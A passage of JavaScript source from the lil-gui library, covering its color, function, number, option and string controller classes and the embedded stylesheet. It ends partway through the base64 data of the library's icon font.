  233. target[0] = (int >> 16 & 255) / 255 * rgbScale;
  234. target[1] = (int >> 8 & 255) / 255 * rgbScale;
  235. target[2] = (int & 255) / 255 * rgbScale;
  236. },
  237. toHexString([r, g, b], rgbScale = 1) {
  238. rgbScale = 255 / rgbScale;
  239. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  240. return INT.toHexString(int);
  241. }
  242. };
  243. const OBJECT = {
  244. isPrimitive: false,
  245. match: (v) => Object(v) === v,
  246. fromHexString(string, target, rgbScale = 1) {
  247. const int = INT.fromHexString(string);
  248. target.r = (int >> 16 & 255) / 255 * rgbScale;
  249. target.g = (int >> 8 & 255) / 255 * rgbScale;
  250. target.b = (int & 255) / 255 * rgbScale;
  251. },
  252. toHexString({ r, g, b }, rgbScale = 1) {
  253. rgbScale = 255 / rgbScale;
  254. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  255. return INT.toHexString(int);
  256. }
  257. };
  258. const FORMATS = [STRING, INT, ARRAY, OBJECT];
  259. function getColorFormat(value) {
  260. return FORMATS.find((format) => format.match(value));
  261. }
  262. class ColorController extends Controller {
  263. constructor(parent, object, property, rgbScale) {
  264. super(parent, object, property, "color");
  265. this.$input = document.createElement("input");
  266. this.$input.setAttribute("type", "color");
  267. this.$input.setAttribute("tabindex", -1);
  268. this.$input.setAttribute("aria-labelledby", this.$name.id);
  269. this.$text = document.createElement("input");
  270. this.$text.setAttribute("type", "text");
  271. this.$text.setAttribute("spellcheck", "false");
  272. this.$text.setAttribute("aria-labelledby", this.$name.id);
  273. this.$display = document.createElement("div");
  274. this.$display.classList.add("display");
  275. this.$display.appendChild(this.$input);
  276. this.$widget.appendChild(this.$display);
  277. this.$widget.appendChild(this.$text);
  278. this._format = getColorFormat(this.initialValue);
  279. this._rgbScale = rgbScale;
  280. this._initialValueHexString = this.save();
  281. this._textFocused = false;
  282. this.$input.addEventListener("input", () => {
  283. this._setValueFromHexString(this.$input.value);
  284. });
  285. this.$input.addEventListener("blur", () => {
  286. this._callOnFinishChange();
  287. });
  288. this.$text.addEventListener("input", () => {
  289. const tryParse = normalizeColorString(this.$text.value);
  290. if (tryParse) {
  291. this._setValueFromHexString(tryParse);
  292. }
  293. });
  294. this.$text.addEventListener("focus", () => {
  295. this._textFocused = true;
  296. this.$text.select();
  297. });
  298. this.$text.addEventListener("blur", () => {
  299. this._textFocused = false;
  300. this.updateDisplay();
  301. this._callOnFinishChange();
  302. });
  303. this.$disable = this.$text;
  304. this.updateDisplay();
  305. }
  306. reset() {
  307. this._setValueFromHexString(this._initialValueHexString);
  308. return this;
  309. }
  310. _setValueFromHexString(value) {
  311. if (this._format.isPrimitive) {
  312. const newValue = this._format.fromHexString(value);
  313. this.setValue(newValue);
  314. } else {
  315. this._format.fromHexString(value, this.getValue(), this._rgbScale);
  316. this._callOnChange();
  317. this.updateDisplay();
  318. }
  319. }
  320. save() {
  321. return this._format.toHexString(this.getValue(), this._rgbScale);
  322. }
  323. load(value) {
  324. this._setValueFromHexString(value);
  325. this._callOnFinishChange();
  326. return this;
  327. }
  328. updateDisplay() {
  329. this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
  330. if (!this._textFocused) {
  331. this.$text.value = this.$input.value.substring(1);
  332. }
  333. this.$display.style.backgroundColor = this.$input.value;
  334. return this;
  335. }
  336. }
  337. class FunctionController extends Controller {
  338. constructor(parent, object, property) {
  339. super(parent, object, property, "function");
  340. this.$button = document.createElement("button");
  341. this.$button.appendChild(this.$name);
  342. this.$widget.appendChild(this.$button);
  343. this.$button.addEventListener("click", (e) => {
  344. e.preventDefault();
  345. this.getValue().call(this.object);
  346. });
  347. this.$button.addEventListener("touchstart", () => {
  348. }, { passive: true });
  349. this.$disable = this.$button;
  350. }
  351. }
  352. class NumberController extends Controller {
  353. constructor(parent, object, property, min, max, step) {
  354. super(parent, object, property, "number");
  355. this._initInput();
  356. this.min(min);
  357. this.max(max);
  358. const stepExplicit = step !== void 0;
  359. this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
  360. this.updateDisplay();
  361. }
  362. decimals(decimals) {
  363. this._decimals = decimals;
  364. this.updateDisplay();
  365. return this;
  366. }
  367. min(min) {
  368. this._min = min;
  369. this._onUpdateMinMax();
  370. return this;
  371. }
  372. max(max) {
  373. this._max = max;
  374. this._onUpdateMinMax();
  375. return this;
  376. }
  377. step(step, explicit = true) {
  378. this._step = step;
  379. this._stepExplicit = explicit;
  380. return this;
  381. }
  382. updateDisplay() {
  383. const value = this.getValue();
  384. if (this._hasSlider) {
  385. let percent = (value - this._min) / (this._max - this._min);
  386. percent = Math.max(0, Math.min(percent, 1));
  387. this.$fill.style.width = percent * 100 + "%";
  388. }
  389. if (!this._inputFocused) {
  390. this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
  391. }
  392. return this;
  393. }
  394. _initInput() {
  395. this.$input = document.createElement("input");
  396. this.$input.setAttribute("type", "number");
  397. this.$input.setAttribute("step", "any");
  398. this.$input.setAttribute("aria-labelledby", this.$name.id);
  399. this.$widget.appendChild(this.$input);
  400. this.$disable = this.$input;
  401. const onInput = () => {
  402. let value = parseFloat(this.$input.value);
  403. if (isNaN(value))
  404. return;
  405. if (this._stepExplicit) {
  406. value = this._snap(value);
  407. }
  408. this.setValue(this._clamp(value));
  409. };
  410. const increment = (delta) => {
  411. const value = parseFloat(this.$input.value);
  412. if (isNaN(value))
  413. return;
  414. this._snapClampSetValue(value + delta);
  415. this.$input.value = this.getValue();
  416. };
  417. const onKeyDown = (e) => {
  418. if (e.code === "Enter") {
  419. this.$input.blur();
  420. }
  421. if (e.code === "ArrowUp") {
  422. e.preventDefault();
  423. increment(this._step * this._arrowKeyMultiplier(e));
  424. }
  425. if (e.code === "ArrowDown") {
  426. e.preventDefault();
  427. increment(this._step * this._arrowKeyMultiplier(e) * -1);
  428. }
  429. };
  430. const onWheel = (e) => {
  431. if (this._inputFocused) {
  432. e.preventDefault();
  433. increment(this._step * this._normalizeMouseWheel(e));
  434. }
  435. };
  436. let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
  437. const DRAG_THRESH = 5;
  438. const onMouseDown = (e) => {
  439. initClientX = e.clientX;
  440. initClientY = prevClientY = e.clientY;
  441. testingForVerticalDrag = true;
  442. initValue = this.getValue();
  443. dragDelta = 0;
  444. window.addEventListener("mousemove", onMouseMove);
  445. window.addEventListener("mouseup", onMouseUp);
  446. };
  447. const onMouseMove = (e) => {
  448. if (testingForVerticalDrag) {
  449. const dx = e.clientX - initClientX;
  450. const dy = e.clientY - initClientY;
  451. if (Math.abs(dy) > DRAG_THRESH) {
  452. e.preventDefault();
  453. this.$input.blur();
  454. testingForVerticalDrag = false;
  455. this._setDraggingStyle(true, "vertical");
  456. } else if (Math.abs(dx) > DRAG_THRESH) {
  457. onMouseUp();
  458. }
  459. }
  460. if (!testingForVerticalDrag) {
  461. const dy = e.clientY - prevClientY;
  462. dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
  463. if (initValue + dragDelta > this._max) {
  464. dragDelta = this._max - initValue;
  465. } else if (initValue + dragDelta < this._min) {
  466. dragDelta = this._min - initValue;
  467. }
  468. this._snapClampSetValue(initValue + dragDelta);
  469. }
  470. prevClientY = e.clientY;
  471. };
  472. const onMouseUp = () => {
  473. this._setDraggingStyle(false, "vertical");
  474. this._callOnFinishChange();
  475. window.removeEventListener("mousemove", onMouseMove);
  476. window.removeEventListener("mouseup", onMouseUp);
  477. };
  478. const onFocus = () => {
  479. this._inputFocused = true;
  480. };
  481. const onBlur = () => {
  482. this._inputFocused = false;
  483. this.updateDisplay();
  484. this._callOnFinishChange();
  485. };
  486. this.$input.addEventListener("input", onInput);
  487. this.$input.addEventListener("keydown", onKeyDown);
  488. this.$input.addEventListener("wheel", onWheel, { passive: false });
  489. this.$input.addEventListener("mousedown", onMouseDown);
  490. this.$input.addEventListener("focus", onFocus);
  491. this.$input.addEventListener("blur", onBlur);
  492. }
  493. _initSlider() {
  494. this._hasSlider = true;
  495. this.$slider = document.createElement("div");
  496. this.$slider.classList.add("slider");
  497. this.$fill = document.createElement("div");
  498. this.$fill.classList.add("fill");
  499. this.$slider.appendChild(this.$fill);
  500. this.$widget.insertBefore(this.$slider, this.$input);
  501. this.domElement.classList.add("hasSlider");
  502. const map = (v, a, b, c, d) => {
  503. return (v - a) / (b - a) * (d - c) + c;
  504. };
  505. const setValueFromX = (clientX) => {
  506. const rect = this.$slider.getBoundingClientRect();
  507. let value = map(clientX, rect.left, rect.right, this._min, this._max);
  508. this._snapClampSetValue(value);
  509. };
  510. const mouseDown = (e) => {
  511. this._setDraggingStyle(true);
  512. setValueFromX(e.clientX);
  513. window.addEventListener("mousemove", mouseMove);
  514. window.addEventListener("mouseup", mouseUp);
  515. };
  516. const mouseMove = (e) => {
  517. setValueFromX(e.clientX);
  518. };
  519. const mouseUp = () => {
  520. this._callOnFinishChange();
  521. this._setDraggingStyle(false);
  522. window.removeEventListener("mousemove", mouseMove);
  523. window.removeEventListener("mouseup", mouseUp);
  524. };
  525. let testingForScroll = false, prevClientX, prevClientY;
  526. const beginTouchDrag = (e) => {
  527. e.preventDefault();
  528. this._setDraggingStyle(true);
  529. setValueFromX(e.touches[0].clientX);
  530. testingForScroll = false;
  531. };
  532. const onTouchStart = (e) => {
  533. if (e.touches.length > 1)
  534. return;
  535. if (this._hasScrollBar) {
  536. prevClientX = e.touches[0].clientX;
  537. prevClientY = e.touches[0].clientY;
  538. testingForScroll = true;
  539. } else {
  540. beginTouchDrag(e);
  541. }
  542. window.addEventListener("touchmove", onTouchMove, { passive: false });
  543. window.addEventListener("touchend", onTouchEnd);
  544. };
  545. const onTouchMove = (e) => {
  546. if (testingForScroll) {
  547. const dx = e.touches[0].clientX - prevClientX;
  548. const dy = e.touches[0].clientY - prevClientY;
  549. if (Math.abs(dx) > Math.abs(dy)) {
  550. beginTouchDrag(e);
  551. } else {
  552. window.removeEventListener("touchmove", onTouchMove);
  553. window.removeEventListener("touchend", onTouchEnd);
  554. }
  555. } else {
  556. e.preventDefault();
  557. setValueFromX(e.touches[0].clientX);
  558. }
  559. };
  560. const onTouchEnd = () => {
  561. this._callOnFinishChange();
  562. this._setDraggingStyle(false);
  563. window.removeEventListener("touchmove", onTouchMove);
  564. window.removeEventListener("touchend", onTouchEnd);
  565. };
  566. const callOnFinishChange = this._callOnFinishChange.bind(this);
  567. const WHEEL_DEBOUNCE_TIME = 400;
  568. let wheelFinishChangeTimeout;
  569. const onWheel = (e) => {
  570. const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
  571. if (isVertical && this._hasScrollBar)
  572. return;
  573. e.preventDefault();
  574. const delta = this._normalizeMouseWheel(e) * this._step;
  575. this._snapClampSetValue(this.getValue() + delta);
  576. this.$input.value = this.getValue();
  577. clearTimeout(wheelFinishChangeTimeout);
  578. wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
  579. };
  580. this.$slider.addEventListener("mousedown", mouseDown);
  581. this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
  582. this.$slider.addEventListener("wheel", onWheel, { passive: false });
  583. }
  584. _setDraggingStyle(active, axis = "horizontal") {
  585. if (this.$slider) {
  586. this.$slider.classList.toggle("active", active);
  587. }
  588. document.body.classList.toggle("lil-gui-dragging", active);
  589. document.body.classList.toggle(`lil-gui-${axis}`, active);
  590. }
  591. _getImplicitStep() {
  592. if (this._hasMin && this._hasMax) {
  593. return (this._max - this._min) / 1e3;
  594. }
  595. return 0.1;
  596. }
  597. _onUpdateMinMax() {
  598. if (!this._hasSlider && this._hasMin && this._hasMax) {
  599. if (!this._stepExplicit) {
  600. this.step(this._getImplicitStep(), false);
  601. }
  602. this._initSlider();
  603. this.updateDisplay();
  604. }
  605. }
  606. _normalizeMouseWheel(e) {
  607. let { deltaX, deltaY } = e;
  608. if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
  609. deltaX = 0;
  610. deltaY = -e.wheelDelta / 120;
  611. deltaY *= this._stepExplicit ? 1 : 10;
  612. }
  613. const wheel = deltaX + -deltaY;
  614. return wheel;
  615. }
  616. _arrowKeyMultiplier(e) {
  617. let mult = this._stepExplicit ? 1 : 10;
  618. if (e.shiftKey) {
  619. mult *= 10;
  620. } else if (e.altKey) {
  621. mult /= 10;
  622. }
  623. return mult;
  624. }
  625. _snap(value) {
  626. const r = Math.round(value / this._step) * this._step;
  627. return parseFloat(r.toPrecision(15));
  628. }
  629. _clamp(value) {
  630. if (value < this._min)
  631. value = this._min;
  632. if (value > this._max)
  633. value = this._max;
  634. return value;
  635. }
  636. _snapClampSetValue(value) {
  637. this.setValue(this._clamp(this._snap(value)));
  638. }
  639. get _hasScrollBar() {
  640. const root = this.parent.root.$children;
  641. return root.scrollHeight > root.clientHeight;
  642. }
  643. get _hasMin() {
  644. return this._min !== void 0;
  645. }
  646. get _hasMax() {
  647. return this._max !== void 0;
  648. }
  649. }
  650. class OptionController extends Controller {
  651. constructor(parent, object, property, options) {
  652. super(parent, object, property, "option");
  653. this.$select = document.createElement("select");
  654. this.$select.setAttribute("aria-labelledby", this.$name.id);
  655. this.$display = document.createElement("div");
  656. this.$display.classList.add("display");
  657. this._values = Array.isArray(options) ? options : Object.values(options);
  658. this._names = Array.isArray(options) ? options : Object.keys(options);
  659. this._names.forEach((name) => {
  660. const $option = document.createElement("option");
  661. $option.innerHTML = name;
  662. this.$select.appendChild($option);
  663. });
  664. this.$select.addEventListener("change", () => {
  665. this.setValue(this._values[this.$select.selectedIndex]);
  666. this._callOnFinishChange();
  667. });
  668. this.$select.addEventListener("focus", () => {
  669. this.$display.classList.add("focus");
  670. });
  671. this.$select.addEventListener("blur", () => {
  672. this.$display.classList.remove("focus");
  673. });
  674. this.$widget.appendChild(this.$select);
  675. this.$widget.appendChild(this.$display);
  676. this.$disable = this.$select;
  677. this.updateDisplay();
  678. }
  679. updateDisplay() {
  680. const value = this.getValue();
  681. const index = this._values.indexOf(value);
  682. this.$select.selectedIndex = index;
  683. this.$display.innerHTML = index === -1 ? value : this._names[index];
  684. return this;
  685. }
  686. }
  687. class StringController extends Controller {
  688. constructor(parent, object, property) {
  689. super(parent, object, property, "string");
  690. this.$input = document.createElement("input");
  691. this.$input.setAttribute("type", "text");
  692. this.$input.setAttribute("aria-labelledby", this.$name.id);
  693. this.$input.addEventListener("input", () => {
  694. this.setValue(this.$input.value);
  695. });
  696. this.$input.addEventListener("keydown", (e) => {
  697. if (e.code === "Enter") {
  698. this.$input.blur();
  699. }
  700. });
  701. this.$input.addEventListener("blur", () => {
  702. this._callOnFinishChange();
  703. });
  704. this.$widget.appendChild(this.$input);
  705. this.$disable = this.$input;
  706. this.updateDisplay();
  707. }
  708. updateDisplay() {
  709. this.$input.value = this.getValue();
  710. return this;
  711. }
  712. }
  713. const stylesheet = `.lil-gui {
  714. font-family: var(--font-family);
  715. font-size: var(--font-size);
  716. line-height: 1;
  717. font-weight: normal;
  718. font-style: normal;
  719. text-align: left;
  720. background-color: var(--background-color);
  721. color: var(--text-color);
  722. user-select: none;
  723. -webkit-user-select: none;
  724. touch-action: manipulation;
  725. --background-color: #1f1f1f;
  726. --text-color: #ebebeb;
  727. --title-background-color: #111111;
  728. --title-text-color: #ebebeb;
  729. --widget-color: #424242;
  730. --hover-color: #4f4f4f;
  731. --focus-color: #595959;
  732. --number-color: #2cc9ff;
  733. --string-color: #a2db3c;
  734. --font-size: 11px;
  735. --input-font-size: 11px;
  736. --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  737. --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
  738. --padding: 4px;
  739. --spacing: 4px;
  740. --widget-height: 20px;
  741. --name-width: 45%;
  742. --slider-knob-width: 2px;
  743. --slider-input-width: 27%;
  744. --color-input-width: 27%;
  745. --slider-input-min-width: 45px;
  746. --color-input-min-width: 45px;
  747. --folder-indent: 7px;
  748. --widget-padding: 0 0 0 3px;
  749. --widget-border-radius: 2px;
  750. --checkbox-size: calc(0.75 * var(--widget-height));
  751. --scrollbar-width: 5px;
  752. }
  753. .lil-gui, .lil-gui * {
  754. box-sizing: border-box;
  755. margin: 0;
  756. padding: 0;
  757. }
  758. .lil-gui.root {
  759. width: var(--width, 245px);
  760. display: flex;
  761. flex-direction: column;
  762. }
  763. .lil-gui.root > .title {
  764. background: var(--title-background-color);
  765. color: var(--title-text-color);
  766. }
  767. .lil-gui.root > .children {
  768. overflow-x: hidden;
  769. overflow-y: auto;
  770. }
  771. .lil-gui.root > .children::-webkit-scrollbar {
  772. width: var(--scrollbar-width);
  773. height: var(--scrollbar-width);
  774. background: var(--background-color);
  775. }
  776. .lil-gui.root > .children::-webkit-scrollbar-thumb {
  777. border-radius: var(--scrollbar-width);
  778. background: var(--focus-color);
  779. }
  780. @media (pointer: coarse) {
  781. .lil-gui.allow-touch-styles {
  782. --widget-height: 28px;
  783. --padding: 6px;
  784. --spacing: 6px;
  785. --font-size: 13px;
  786. --input-font-size: 16px;
  787. --folder-indent: 10px;
  788. --scrollbar-width: 7px;
  789. --slider-input-min-width: 50px;
  790. --color-input-min-width: 65px;
  791. }
  792. }
  793. .lil-gui.force-touch-styles {
  794. --widget-height: 28px;
  795. --padding: 6px;
  796. --spacing: 6px;
  797. --font-size: 13px;
  798. --input-font-size: 16px;
  799. --folder-indent: 10px;
  800. --scrollbar-width: 7px;
  801. --slider-input-min-width: 50px;
  802. --color-input-min-width: 65px;
  803. }
  804. .lil-gui.autoPlace {
  805. max-height: 100%;
  806. position: fixed;
  807. top: 0;
  808. right: 15px;
  809. z-index: 1001;
  810. }
  811.  
  812. .lil-gui .controller {
  813. display: flex;
  814. align-items: center;
  815. padding: 0 var(--padding);
  816. margin: var(--spacing) 0;
  817. }
  818. .lil-gui .controller.disabled {
  819. opacity: 0.5;
  820. }
  821. .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
  822. pointer-events: none !important;
  823. }
  824. .lil-gui .controller > .name {
  825. min-width: var(--name-width);
  826. flex-shrink: 0;
  827. white-space: pre;
  828. padding-right: var(--spacing);
  829. line-height: var(--widget-height);
  830. }
  831. .lil-gui .controller .widget {
  832. position: relative;
  833. display: flex;
  834. align-items: center;
  835. width: 100%;
  836. min-height: var(--widget-height);
  837. }
  838. .lil-gui .controller.string input {
  839. color: var(--string-color);
  840. }
  841. .lil-gui .controller.boolean .widget {
  842. cursor: pointer;
  843. }
  844. .lil-gui .controller.color .display {
  845. width: 100%;
  846. height: var(--widget-height);
  847. border-radius: var(--widget-border-radius);
  848. position: relative;
  849. }
  850. @media (hover: hover) {
  851. .lil-gui .controller.color .display:hover:before {
  852. content: " ";
  853. display: block;
  854. position: absolute;
  855. border-radius: var(--widget-border-radius);
  856. border: 1px solid #fff9;
  857. top: 0;
  858. right: 0;
  859. bottom: 0;
  860. left: 0;
  861. }
  862. }
  863. .lil-gui .controller.color input[type=color] {
  864. opacity: 0;
  865. width: 100%;
  866. height: 100%;
  867. cursor: pointer;
  868. }
  869. .lil-gui .controller.color input[type=text] {
  870. margin-left: var(--spacing);
  871. font-family: var(--font-family-mono);
  872. min-width: var(--color-input-min-width);
  873. width: var(--color-input-width);
  874. flex-shrink: 0;
  875. }
  876. .lil-gui .controller.option select {
  877. opacity: 0;
  878. position: absolute;
  879. width: 100%;
  880. max-width: 100%;
  881. }
  882. .lil-gui .controller.option .display {
  883. position: relative;
  884. pointer-events: none;
  885. border-radius: var(--widget-border-radius);
  886. height: var(--widget-height);
  887. line-height: var(--widget-height);
  888. max-width: 100%;
  889. overflow: hidden;
  890. word-break: break-all;
  891. padding-left: 0.55em;
  892. padding-right: 1.75em;
  893. background: var(--widget-color);
  894. }
  895. @media (hover: hover) {
  896. .lil-gui .controller.option .display.focus {
  897. background: var(--focus-color);
  898. }
  899. }
  900. .lil-gui .controller.option .display.active {
  901. background: var(--focus-color);
  902. }
  903. .lil-gui .controller.option .display:after {
  904. font-family: "lil-gui";
  905. content: "↕";
  906. position: absolute;
  907. top: 0;
  908. right: 0;
  909. bottom: 0;
  910. padding-right: 0.375em;
  911. }
  912. .lil-gui .controller.option .widget,
  913. .lil-gui .controller.option select {
  914. cursor: pointer;
  915. }
  916. @media (hover: hover) {
  917. .lil-gui .controller.option .widget:hover .display {
  918. background: var(--hover-color);
  919. }
  920. }
  921. .lil-gui .controller.number input {
  922. color: var(--number-color);
  923. }
  924. .lil-gui .controller.number.hasSlider input {
  925. margin-left: var(--spacing);
  926. width: var(--slider-input-width);
  927. min-width: var(--slider-input-min-width);
  928. flex-shrink: 0;
  929. }
  930. .lil-gui .controller.number .slider {
  931. width: 100%;
  932. height: var(--widget-height);
  933. background-color: var(--widget-color);
  934. border-radius: var(--widget-border-radius);
  935. padding-right: var(--slider-knob-width);
  936. overflow: hidden;
  937. cursor: ew-resize;
  938. touch-action: pan-y;
  939. }
  940. @media (hover: hover) {
  941. .lil-gui .controller.number .slider:hover {
  942. background-color: var(--hover-color);
  943. }
  944. }
  945. .lil-gui .controller.number .slider.active {
  946. background-color: var(--focus-color);
  947. }
  948. .lil-gui .controller.number .slider.active .fill {
  949. opacity: 0.95;
  950. }
  951. .lil-gui .controller.number .fill {
  952. height: 100%;
  953. border-right: var(--slider-knob-width) solid var(--number-color);
  954. box-sizing: content-box;
  955. }
  956.  
  957. .lil-gui-dragging .lil-gui {
  958. --hover-color: var(--widget-color);
  959. }
  960. .lil-gui-dragging * {
  961. cursor: ew-resize !important;
  962. }
  963.  
  964. .lil-gui-dragging.lil-gui-vertical * {
  965. cursor: ns-resize !important;
  966. }
  967.  
  968. .lil-gui .title {
  969. --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
  970. height: var(--title-height);
  971. line-height: calc(var(--title-height) - 4px);
  972. font-weight: 600;
  973. padding: 0 var(--padding);
  974. -webkit-tap-highlight-color: transparent;
  975. cursor: pointer;
  976. outline: none;
  977. text-decoration-skip: objects;
  978. }
  979. .lil-gui .title:before {
  980. font-family: "lil-gui";
  981. content: "▾";
  982. padding-right: 2px;
  983. display: inline-block;
  984. }
  985. .lil-gui .title:active {
  986. background: var(--title-background-color);
  987. opacity: 0.75;
  988. }
  989. @media (hover: hover) {
  990. body:not(.lil-gui-dragging) .lil-gui .title:hover {
  991. background: var(--title-background-color);
  992. opacity: 0.85;
  993. }
  994. .lil-gui .title:focus {
  995. text-decoration: underline var(--focus-color);
  996. }
  997. }
  998. .lil-gui.root > .title:focus {
  999. text-decoration: none !important;
  1000. }
  1001. .lil-gui.closed > .title:before {
  1002. content: "▸";
  1003. }
  1004. .lil-gui.closed > .children {
  1005. transform: translateY(-7px);
  1006. opacity: 0;
  1007. }
  1008. .lil-gui.closed:not(.transition) > .children {
  1009. display: none;
  1010. }
  1011. .lil-gui.transition > .children {
  1012. transition-duration: 300ms;
  1013. transition-property: height, opacity, transform;
  1014. transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
  1015. overflow: hidden;
  1016. pointer-events: none;
  1017. }
  1018. .lil-gui .children:empty:before {
  1019. content: "Empty";
  1020. padding: 0 var(--padding);
  1021. margin: var(--spacing) 0;
  1022. display: block;
  1023. height: var(--widget-height);
  1024. font-style: italic;
  1025. line-height: var(--widget-height);
  1026. opacity: 0.5;
  1027. }
  1028. .lil-gui.root > .children > .lil-gui > .title {
  1029. border: 0 solid var(--widget-color);
  1030. border-width: 1px 0;
  1031. transition: border-color 300ms;
  1032. }
  1033. .lil-gui.root > .children > .lil-gui.closed > .title {
  1034. border-bottom-color: transparent;
  1035. }
  1036. .lil-gui + .controller {
  1037. border-top: 1px solid var(--widget-color);
  1038. margin-top: 0;
  1039. padding-top: var(--spacing);
  1040. }
  1041. .lil-gui .lil-gui .lil-gui > .title {
  1042. border: none;
  1043. }
  1044. .lil-gui .lil-gui .lil-gui > .children {
  1045. border: none;
  1046. margin-left: var(--folder-indent);
  1047. border-left: 2px solid var(--widget-color);
  1048. }
  1049. .lil-gui .lil-gui .controller {
  1050. border: none;
  1051. }
  1052.  
  1053. .lil-gui input {
  1054. -webkit-tap-highlight-color: transparent;
  1055. border: 0;
  1056. outline: none;
  1057. font-family: var(--font-family);
  1058. font-size: var(--input-font-size);
  1059. border-radius: var(--widget-border-radius);
  1060. height: var(--widget-height);
  1061. background: var(--widget-color);
  1062. color: var(--text-color);
  1063. width: 100%;
  1064. }
  1065. @media (hover: hover) {
  1066. .lil-gui input:hover {
  1067. background: var(--hover-color);
  1068. }
  1069. .lil-gui input:active {
  1070. background: var(--focus-color);
  1071. }
  1072. }
  1073. .lil-gui input:disabled {
  1074. opacity: 1;
  1075. }
  1076. .lil-gui input[type=text],
  1077. .lil-gui input[type=number] {
  1078. padding: var(--widget-padding);
  1079. }
  1080. .lil-gui input[type=text]:focus,
  1081. .lil-gui input[type=number]:focus {
  1082. background: var(--focus-color);
  1083. }
  1084. .lil-gui input::-webkit-outer-spin-button,
  1085. .lil-gui input::-webkit-inner-spin-button {
  1086. -webkit-appearance: none;
  1087. margin: 0;
  1088. }
  1089. .lil-gui input[type=number] {
  1090. -moz-appearance: textfield;
  1091. }
  1092. .lil-gui input[type=checkbox] {
  1093. appearance: none;
  1094. -webkit-appearance: none;
  1095. height: var(--checkbox-size);
  1096. width: var(--checkbox-size);
  1097. border-radius: var(--widget-border-radius);
  1098. text-align: center;
  1099. cursor: pointer;
  1100. }
  1101. .lil-gui input[type=checkbox]:checked:before {
  1102. font-family: "lil-gui";
  1103. content: "✓";
  1104. font-size: var(--checkbox-size);
  1105. line-height: var(--checkbox-size);
  1106. }
  1107. @media (hover: hover) {
  1108. .lil-gui input[type=checkbox]:focus {
  1109. box-shadow: inset 0 0 0 1px var(--focus-color);
  1110. }
  1111. }
  1112. .lil-gui button {
  1113. -webkit-tap-highlight-color: transparent;
  1114. outline: none;
  1115. cursor: pointer;
  1116. font-family: var(--font-family);
  1117. font-size: var(--font-size);
  1118. color: var(--text-color);
  1119. width: 100%;
  1120. height: var(--widget-height);
  1121. text-transform: none;
  1122. background: var(--widget-color);
  1123. border-radius: var(--widget-border-radius);
  1124. border: 1px solid var(--widget-color);
  1125. text-align: center;
  1126. line-height: calc(var(--widget-height) - 4px);
  1127. }
  1128. @media (hover: hover) {
  1129. .lil-gui button:hover {
  1130. background: var(--hover-color);
  1131. border-color: var(--hover-color);
  1132. }
  1133. .lil-gui button:focus {
  1134. border-color: var(--focus-color);
  1135. }
  1136. }
  1137. .lil-gui button:active {
  1138. background: var(--focus-color);
  1139. }
  1140.  
  1141. @font-face {
  1142. font-family: "lil-gui";
  1143. src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZ